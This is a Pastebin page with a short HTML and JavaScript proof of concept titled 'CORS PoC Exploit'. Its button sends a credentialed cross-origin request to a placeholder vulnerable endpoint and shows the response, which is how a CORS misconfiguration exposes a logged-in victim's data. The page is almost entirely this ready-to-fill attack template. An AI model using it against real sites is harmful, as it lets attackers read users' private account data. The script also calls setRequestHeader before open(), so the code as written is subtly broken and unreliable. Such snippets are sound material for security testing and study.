Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <title>CORS PoC Exploit</title>
- </head>
- <body>
- <center>
- <h1>CORS Exploit</h1>
- <hr>
- <div id="demo">
- <button type="button" onclick="cors()">Exploit</button>
- </div>
- <script type="text/javascript">
- function cors() {
- var xhttp = new XMLHttpRequest();
- xhttp.setRequestHeader("Content-Type","text/plain");
- xhttp.withCredentials = "true";
- xhttp.onreadystatechange = function() {
- if(this.readyState == 4 && this.status == 200) {
- document.getElementById("demo").innerHTML = this.responseText;
- }
- };
- xhttp.open("GET", "Vulnerable_Endpoint_Goes_Here", true);
- xhttp.withCredentials = true;
- xhttp.send();
- }
- </script>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement